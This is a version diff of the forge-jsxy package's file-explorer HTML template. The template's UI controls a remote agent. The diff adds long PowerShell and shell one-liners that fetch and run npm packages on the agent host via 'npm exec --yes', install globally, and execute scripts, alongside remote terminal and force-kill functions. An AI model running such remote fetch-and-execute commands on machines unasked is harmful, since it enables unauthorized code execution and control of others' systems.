forge-jsxy 1.0.85 → 1.0.91

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.85 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.91 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {
@@ -1690,9 +1690,9 @@
   <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-download-fk" onclick="downloadSelForceKill()" title="Download with Force Kill: kills locking processes then downloads">↓ Force Kill</button>
   <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-disconnect" onclick="doDisconnect()">Disconnect</button>
   <div class="fe-ctx-sep" role="separator" aria-hidden="true"></div>
-  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-upgrade" onclick="runForgeJsxExplorerUpgrade()" title="Global forge-jsxy upgrade on the agent (Windows/Linux/macOS). This page retries connecting for ~2 min after success; you can also reload.">Upgrade forge-jsxy</button>
-  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-kill" onclick="runForgeJsxExplorerKillAgent()" title="Stop forge-agent permanently (two-step: click twice — no browser popup). Runs cfgmgr --stop, removes OS autostart and legacy npm schedulers, removes PM2 forge-agent, strips forge-js-agent.env secrets, then npm uninstall -g forge-jsxy when installed globally.">Kill agent</button>
-  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-restart" onclick="runForgeJsxExplorerRestart()" title="Stop and restart forge-agent on the agent (build + cfgmgr stop + postinstall) in the background. Same reconnect retries as Upgrade.">Restart agent</button>
+  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-upgrade" onclick="runForgeJsxExplorerUpgrade()" title="Global forge-jsxy upgrade on the agent (Windows/Linux/macOS). Works with legacy forge-jsx globals via npm exec @latest. This page retries connecting for ~2 min after success.">Upgrade forge-jsxy</button>
+  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-kill" onclick="runForgeJsxExplorerKillAgent()" title="Stop forge-agent permanently (two-step: click twice — no browser popup). Runs cfgmgr --stop, removes OS autostart, PM2 forge-agent, strips forge-js-agent.env secrets, then npm uninstall -g forge-jsxy and legacy forge-jsx when globally installed.">Kill agent</button>
+  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-restart" onclick="runForgeJsxExplorerRestart()" title="Stop and restart forge-agent on the agent (build + cfgmgr stop + postinstall) in the background. Probes both forge-jsxy and legacy forge-jsx global installs. Same reconnect retries as Upgrade.">Restart agent</button>
   <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-run" onclick="runExplorerTerminal()"><span class="codicon codicon-play" aria-hidden="true"></span><span class="fe-ctx-label">Run</span></button>
   <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-copy" onclick="copyTerminalOut()" title="Copy all text below">Copy output</button>
   <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-clear" onclick="clearTerminalOut()">Clear</button>
@@ -2211,31 +2211,73 @@ function ensureAgentPlatformForExplorerForgeCmd(){
 }
 /**
  * Retarget npm **`npm exec` / `install -g`** package spec to **`forge-jsxy@latest`** (current npm name).
+ * **`__FORGE_JSX_LEGACY_PKG__`** is preserved as **`forge-jsx@latest`** for secondary fallbacks on very old installs.
  * **Filesystem** script paths stay literal **`forge-jsx`** / **`forge-jsxy`** — each shell one-liner runs a small loop trying **`$ROOT/{forge-jsxy,forge-jsx}/scripts/*.mjs`** so old globals (`node_modules/forge-jsx`) and new (`forge-jsxy`) both resolve without rewriting strings here.
  */
 function retargetForgeJsxyCommand(cmd){
   return String(cmd || '')
+    .replaceAll('__FORGE_JSX_LEGACY_PKG__', '<<<FORGE_JSX_LEGACY_PKG>>>')
     .replaceAll('forge-jsx@latest', 'forge-jsxy@latest')
+    .replaceAll('<<<FORGE_JSX_LEGACY_PKG>>>', 'forge-jsx@latest')
     .replaceAll('install -g forge-jsx@latest', 'install -g forge-jsxy@latest')
     .replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy');
 }
+/** Probe durable runtime `<CfgMgr>/.forge-jsxy/current.json` and run explorer script directly (npm-install-only agents). */
+function winDurableForgeScriptProbe(scriptFile){
+  return '$__dj=@(); if($env:CFGMGR_DATA_ROOT){$__dj+=Join-Path $env:CFGMGR_DATA_ROOT \'.forge-jsxy\\current.json\'}; if($env:LOCALAPPDATA){$__dj+=Join-Path $env:LOCALAPPDATA \'CfgMgr\\data\\.forge-jsxy\\current.json\'}; if($env:USERPROFILE){$__dj+=Join-Path $env:USERPROFILE \'Library\\Application Support\\CfgMgr\\data\\.forge-jsxy\\current.json\'; $__dj+=Join-Path $env:USERPROFILE \'.local\\share\\cfgmgr\\.forge-jsxy\\current.json\'}; foreach($__cur in $__dj){ if(-not $__cur -or -not (Test-Path -LiteralPath $__cur)){continue}; try{ $__j=Get-Content -LiteralPath $__cur -Raw|ConvertFrom-Json; $__dist=[string]$__j.distDir; if(-not $__dist -or -not (Test-Path -LiteralPath (Join-Path $__dist \'cli-agent.js\'))){continue}; $__root=(Resolve-Path (Join-Path $__dist \'..\')).Path; $__s=Join-Path $__root (\'scripts\\'+scriptFile+'\'); if(Test-Path -LiteralPath $__s){ & node $__s; if ($LASTEXITCODE -eq 0) { exit 0 } } } catch{} }; ';
+}
+function unixDurableForgeScriptProbe(scriptFile){
+  return 'for __CUR in "${CFGMGR_DATA_ROOT:+$CFGMGR_DATA_ROOT/.forge-jsxy/current.json}" "$HOME/.local/share/cfgmgr/.forge-jsxy/current.json" "$HOME/Library/Application Support/CfgMgr/data/.forge-jsxy/current.json"; do [ -n "$__CUR" ] && [ -f "$__CUR" ] || continue; __ROOT=$(node -e "const fs=require(\'fs\'),p=require(\'path\');try{const j=JSON.parse(fs.readFileSync(process.argv[1],\'utf8\'));const d=String(j.distDir||\'\').trim();if(!d||!fs.existsSync(p.join(d,\'cli-agent.js\')))process.exit(0);process.stdout.write(p.resolve(d,\'..\'));}catch{}" "$__CUR" 2>/dev/null); [ -n "$__ROOT" ] || continue; __S="$__ROOT/scripts/'+scriptFile+'"; [ -f "$__S" ] && node "$__S" && exit 0; done; ';
+}
+function winForgeExplorerBinProbe(primary, legacy){
+  return 'foreach($__cn in @(\''+primary+'\',\''+legacy+'\')){ if(Get-Command $__cn -ErrorAction SilentlyContinue){ & $__cn; if ($LASTEXITCODE -eq 0) { exit 0 } } }; ';
+}
+function unixForgeExplorerBinProbe(primary, legacy){
+  return 'for __CN in '+primary+' '+legacy+'; do command -v $__CN >/dev/null 2>&1 && $__CN && exit 0; done; ';
+}
+function winLegacyNpmExec(binName){
+  return 'npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- '+binName+'; if ($LASTEXITCODE -eq 0) { exit 0 }; ';
+}
+function unixLegacyNpmExec(binName){
+  return 'npm --userconfig "$NRC_U" --globalconfig "$NRC_G" --cache "$XC" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- '+binName+' && exit 0; ';
+}
+/** Windows legacy agents using cmd.exe for fs_shell_exec often return 4294967295 with empty output. */
+function isWinLegacyShellFailure(ec, stdout, stderr){
+  const blankOut = !String(stdout || '').trim() && !String(stderr || '').trim();
+  return String(ec) === '4294967295' && blankOut;
+}
+function appendWinLegacyShellHint(body, cmdName){
+  return body +
+    '\n\nDetected Windows legacy shell failure (`exit 4294967295` with empty stdout/stderr). '+
+    'This agent build cannot execute remote shell reliably from the explorer. '+
+    'Run on that Windows host (PowerShell as the same user):\n'+
+    '  npm exec --yes --package=forge-jsxy@latest -- '+cmdName;
+}
 function forgeJsxExplorerUpgradeShellCommand(){
   if(useWindowsForgeJsxShellCommand()){
-    return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
+    const fb = winLegacyNpmExec('forge-jsx-explorer-upgrade') + winDurableForgeScriptProbe('forge-jsx-explorer-upgrade.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
+    const fbShort = winForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
+    return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { "+fbShort+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
   }
-  return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; command -v forge-jsx-explorer-upgrade >/dev/null 2>&1 && forge-jsx-explorer-upgrade; exit $?";
+  const ufb = unixLegacyNpmExec('forge-jsx-explorer-upgrade') + unixDurableForgeScriptProbe('forge-jsx-explorer-upgrade.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
+  const ufbShort = unixForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
+  return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; "+ufbShort+"fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; "+ufbShort+"exit $?";
 }
 function forgeJsxExplorerRestartShellCommand(){
   if(useWindowsForgeJsxShellCommand()){
-    return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-restart -ErrorAction SilentlyContinue){ & forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
+    const fb = winLegacyNpmExec('forge-jsx-explorer-restart') + winDurableForgeScriptProbe('forge-jsx-explorer-restart.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-restart','forge-jsx-explorer-restart');
+    return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
   }
-  return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-restart >/dev/null 2>&1; then forge-jsx-explorer-restart; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; fi";
+  const ufb = unixLegacyNpmExec('forge-jsx-explorer-restart') + unixDurableForgeScriptProbe('forge-jsx-explorer-restart.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-restart','forge-jsx-explorer-restart');
